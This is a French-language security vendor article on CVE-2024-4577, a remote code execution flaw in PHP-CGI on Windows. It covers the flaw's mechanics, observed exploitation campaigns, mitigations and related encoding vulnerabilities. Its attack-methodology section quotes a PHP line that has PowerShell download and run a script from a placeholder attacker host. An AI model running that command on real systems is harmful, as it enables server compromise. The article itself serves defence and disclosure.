Vulnérabilité critique CVE-2024-4577 : Comprendre la menace et son exploitation dans la nature
Introduction
Une vulnérabilité critique dans PHP pour Windows (CVE-2024-4577) est devenue une préoccupation importante en matière de cybersécurité depuis sa divulgation en juin 2024. Avec un score CVSS de 9,8, cette vulnérabilité d'exécution de code à distance de haute sévérité affecte toutes les versions de PHP sur les systèmes Windows. Ce qui rend cette vulnérabilité particulièrement préoccupante, ce n'est pas seulement sa gravité, mais l'exploitation généralisée que les sociétés de renseignement sur les menaces ont observée depuis janvier 2025.
Le correctif pour CVE-2024-4577 pour PHP sur Windows est disponible via le service PHP Endless Lifecycle Support de TuxCare. Windows est maintenant une plateforme supportée pour PHP ELS.
Cet article étudie CVE-2024-4577 en profondeur, en examinant son fonctionnement, la manière dont il est exploité et ce que les organisations peuvent faire pour se protéger. Bien que nous ayons déjà écrit sur cette cette vulnérabilité particulière dans un article précédentnous avons déjà écrit sur cette vulnérabilité dans un article précédent, mais le fait qu'elle soit exploitée dans la nature la rend à nouveau pertinente.
Approfondissement technique : Comprendre la vulnérabilité
CVE-2024-4577 est une vulnérabilité d'exécution de code à distance (RCE) qui affecte les installations PHP sous Windows utilisant des configurations CGI. La vulnérabilité existe parce que l'implémentation de PHP sous Windows ne prend pas correctement en compte le comportement "Best-Fit" dans les pages de code Windows.
Le mécanisme de comportement le mieux adapté
Au cœur de cette vulnérabilité se trouve une fonction de conversion d'encodage spécifique à Windows, connue sous le nom de "Best-Fit". Cette fonction contrôle la manière dont les caractères Unicode sont convertis en caractères ANSI les plus proches lorsque le caractère exact ne peut pas être représenté dans la page de code cible.
Lorsque Windows effectue cette conversion sur les arguments de la ligne de commande :
- Les caractères qui ne peuvent pas être représentés directement dans la page de code cible sont remplacés par des caractères similaires.
- Ces remplacements suivent une table de correspondance "best-fit" intégrée dans Windows
- Le module PHP-CGI interprète alors ces caractères convertis comme des options de ligne de commande PHP.
Ce comportement crée une situation dangereuse où des entrées spécialement conçues peuvent être transformées en arguments de ligne de commande que PHP traitera comme des options.
Ce qui rend cette vulnérabilité dangereuse
Cette vulnérabilité est particulièrement insidieuse car elle contourne les protections mises en place pour une vulnérabilité vieille de dix ans (CVE-2012-1823), qui était un problème similaire où le module php-cgi traitait les paramètres de chaîne de requête comme des arguments de ligne de commande.
Le problème est amplifié dans des environnements linguistiques spécifiques :
- Chinois traditionnel (page de code 950)
- Chinois simplifié (page de code 936)
- Japonais (page de code 932)
Cependant, les chercheurs ont averti que les scénarios d'exploitation ne peuvent pas être complètement énumérés pour d'autres locales telles que l'anglais, le coréen et l'Europe de l'Ouest, ce qui fait de cette vulnérabilité une menace potentielle pour un large éventail de déploiements de PHP sur Windows.
L'exploitation dans la nature
Depuis janvier 2025, les entreprises de sécurité ont observé une exploitation massive de CVE-2024-4577. Selon GreyNoise, son "Global Observation Grid" a détecté 1 089 adresses IP uniques tentant d'exploiter cette vulnérabilité au cours du seul mois de janvier 2025. En outre, il existe désormais 79 exploits accessibles au public ciblant cette vulnérabilité.
Méthodologie d'attaque
Les acteurs de la menace exploitent généralement cette vulnérabilité en suivant les étapes suivantes :
- Accès initial: Les attaquants utilisent un script Python (comme "PHP-CGI_CVE-2024-4577_RCE.py") pour vérifier si une URL cible est vulnérable en envoyant des requêtes POST spécifiquement élaborées.
- Exécution du code: En cas d'exploitation réussie, les attaquants exécutent des commandes PowerShell intégrées dans le code PHP :
<?php system (‘powershell -c “Invoke-Expression (New-Object System.Net.WebClient).DownloadString(\’http[://]attacker-server[:]port/payload[.]ps1\’)”‘);?>
- Livraison de la charge utile: Le script PowerShell télécharge et exécute une charge utile de deuxième niveau qui contient souvent le shellcode Cobalt Strike.
- Post-exploitation: Une fois à l'intérieur du système, les attaquants :
- Élever les privilèges à l'aide d'outils tels que JuicyPotato, RottenPotato et SweetPotato.
- Établir la persistance par le biais de modifications du registre, de tâches programmées et de services malveillants.
- Effacer les journaux d'événements pour brouiller les pistes
- Effectuer une reconnaissance du réseau en vue d'un mouvement latéral
- Extraire des informations d'identification à l'aide d'outils tels que Mimikatz
Campagnes d'attaque notables
Les chercheurs en sécurité ont identifié plusieurs campagnes d'attaques organisées :
- Cibler les organisations japonaises: Cisco Talos a documenté des attaques ciblant principalement des organisations japonaises dans divers secteurs, notamment l'éducation, le divertissement, le commerce électronique, la technologie et les télécommunications. Les attaquants ont utilisé le kit Cobalt Strike "TaoWu" pour les activités de post-exploitation.
- Campagne mondiale contre l'exploitation: GreyNoise signale que l'activité d'exploitation s'est étendue au-delà du Japon, avec des pics notables aux États-Unis, au Royaume-Uni, à Singapour, en Indonésie, à Taïwan, à Hong Kong, en Inde, en Espagne et en Malaisie. Plus de 43 % des adresses IP attaquées provenaient d'Allemagne et de Chine.
Pourquoi cette vulnérabilité permet-elle d'autres vulnérabilités ?
CVE-2024-4577 est particulièrement inquiétant car il permet à d'autres vulnérabilités de devenir plus dangereuses. Cela est dû à plusieurs facteurs :
- Effet de réaction en chaîne: Une exploitation réussie donne aux attaquants des capacités d'exécution directe du code, qui peuvent être utilisées pour exploiter des vulnérabilités précédemment inaccessibles qui nécessitent un accès local.
- Facilitateur d'escalade de privilèges: Une fois à l'intérieur d'un système, les attaquants peuvent déployer des outils d'escalade des privilèges, transformant potentiellement des vulnérabilités de faible gravité en vulnérabilités critiques.
- Mécanisme de persistance: La vulnérabilité permet aux attaquants d'établir la persistance, créant ainsi des opportunités d'exploiter les vulnérabilités futures qui pourraient émerger.
- Contournement des mesures d'atténuation précédentes: Cette vulnérabilité contourne spécifiquement les mesures d'atténuation de CVE-2012-1823, soulignant comment les problèmes de conversion d'encodage peuvent miner les mesures de sécurité.
Atténuations et recommandations
Les organisations qui utilisent PHP sur des systèmes Windows doivent immédiatement prendre les mesures suivantes :
- Mise à jour de PHP: Mise à jour vers les versions corrigées :
- PHP 8.1.29
- PHP 8.2.20
- PHP 8.3.8
- Modèles de déploiement alternatifs: Considérez l'utilisation de PHP avec un modèle de serveur différent de CGI, tel que PHP-FPM.
- Web Application Firewall (WAF): Déployer un WAF capable de détecter et de bloquer les tentatives d'exploitation de CVE-2024-4577.
- Surveillance du système: Mettre en place un système de journalisation et de surveillance robuste pour détecter les activités de post-exploitation.
- Segmentation du réseau: Limiter le potentiel de mouvement latéral en mettant en œuvre une segmentation adéquate du réseau.
- Audits de sécurité réguliers: Procéder à des évaluations régulières de la sécurité afin d'identifier et de traiter les vulnérabilités potentielles.
Contexte historique : Vulnérabilités similaires dans la conversion du codage
CVE-2024-4577 n'est pas la première vulnérabilité à exploiter les mécanismes de conversion d'encodage. Plusieurs exemples notables montrent que ces mécanismes constituent des points faibles en matière de sécurité :
Précédent Vulnérabilités d'encodage liées à PHP
- CVE-2010-4645: Une vulnérabilité dans la gestion des jeux de caractères multibytes par PHP qui permet aux attaquants de contourner le filtrage d'entrée. Bien qu'elle n'exploite pas directement le comportement Best-Fit, elle démontre comment les problèmes d'encodage de caractères peuvent conduire à des problèmes de sécurité.
- CVE-2015-2348: Cette vulnérabilité dans PHP permettait aux attaquants d'injecter des paramètres de requête arbitraires en exploitant des problèmes de conversion Unicode. Similaire à CVE-2024-4577, elle impliquait une mauvaise interprétation des caractères après la conversion.
Problèmes généraux de codage Windows
- CVE-2016-3238: Une vulnérabilité dans Windows qui permettait une élévation de privilèges par le biais du mappage de caractères Unicode. Les attaquants pouvaient utiliser des fichiers spécialement conçus avec des noms contenant des caractères Unicode spécifiques qui, lors de la conversion, seraient interprétés différemment par les différents composants de Windows.
- CVE-2019-1388: Bien qu'il s'agisse principalement d'une vulnérabilité d'usurpation d'interface utilisateur, cet exploit s'appuie sur la façon dont Windows traite les caractères Unicode dans les boîtes de dialogue des certificats, démontrant comment la conversion de l'encodage peut confondre les composants du système.
- CVE-2020-0687: Une vulnérabilité d'exécution de code à distance dans Windows qui implique une mauvaise gestion des caractères Unicode, permettant aux attaquants d'exécuter du code si un utilisateur visualise un document spécialement conçu.
Vulnérabilités du cadre d'application Web
- CVE-2020-10735: Une vulnérabilité de déni de service dans Python qui implique la gestion des caractères Unicode. Les attaquants peuvent provoquer une consommation excessive du processeur en exploitant la façon dont Python convertit les différentes représentations Unicode.
- CVE-2021-42574: La vulnérabilité "Trojan Source" qui affecte plusieurs langages de programmation. Cette vulnérabilité exploite les caractères de contrôle bidirectionnels Unicode (BiDi) pour créer un code source qui semble différent de ce qui a été réellement exécuté.
Ces vulnérabilités historiques démontrent que les mécanismes de conversion de l'encodage constituent un problème de sécurité persistant sur différentes plateformes et dans différents langages. Le comportement Best-Fit exploité dans CVE-2024-4577 représente une variante particulièrement dangereuse car il a un impact direct sur l'interprétation de la ligne de commande, donnant potentiellement aux attaquants des capacités d'exécution de code directes.
Réflexions finales
CVE-2024-4577 représente une menace importante pour les organisations utilisant PHP sur des serveurs Windows. L'exploitation de la vulnérabilité dans la nature, combinée à sa capacité à activer d'autres vulnérabilités, la rend particulièrement dangereuse.
Les équipes de sécurité devraient donner la priorité à la correction de cette vulnérabilité et à la mise en œuvre des mesures d'atténuation appropriées. En outre, cette vulnérabilité rappelle que les mécanismes de conversion d'encodage peuvent introduire des failles de sécurité subtiles qui permettent de contourner les protections existantes, ce qui souligne la nécessité d'effectuer des tests de sécurité complets dans différents environnements linguistiques et pages de code.
En comprenant les mécanismes de CVE-2024-4577 et le paysage actuel de l'exploitation, les organisations peuvent mieux se protéger contre cette menace critique.
Sources :
https://www.securityweek.com/mass-exploitation-of-critical-php-vulnerability-begins/
https://www.securityweek.com/php-patches-critical-remote-code-execution-vulnerability/
https://blog.talosintelligence.com/new-persistent-attacks-japan/


